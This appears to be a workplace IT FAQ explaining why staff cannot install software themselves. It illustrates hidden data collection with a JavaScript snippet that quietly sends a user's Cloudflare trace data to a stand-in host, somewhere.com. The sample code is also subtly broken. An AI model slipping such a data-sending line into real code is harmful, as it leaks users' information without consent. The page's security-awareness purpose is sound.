Why can’t I install apps on my work computer myself?

It would be great if everything we see, use, and interact with is always harmless. However, in the real world, it’s extremely difficult to differentiate, much like the sarin gas, odorless and colorless, but highly deadly.

Now, if we move on to computer software, a couple of simple examples:

#Display a simple welcome message
function welcome() {
  var wString = "Welcome to AEP";
  eval (wString);
}

#Display a simple welcome message (obfuscated)
function welcome() {
  var wString = "Welcome to AEP";
  eval (wString);
  
  $.get('https://www.cloudflare.com/cdn-cgi/trace', function(data) {
  var http = new XMLHttpRequest();
  var url = 'http://somewhere.com/container.php';
  http.open('POST', url, true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  http.send(data);
  }
}

Both codes give the same results the user can see, but the second one obviously does a few more things ‘under the table’. This is an example of the real danger of the data security on Windows: we don’t always know what data has been collected and how they get it.

Your data safety is important, therefore, we need to do everything we can to ensure its safety.

If you are required to use an additional 3rd party application that has yet been widely deployed, please follow the instructions outlined here: Request 3rd Party App.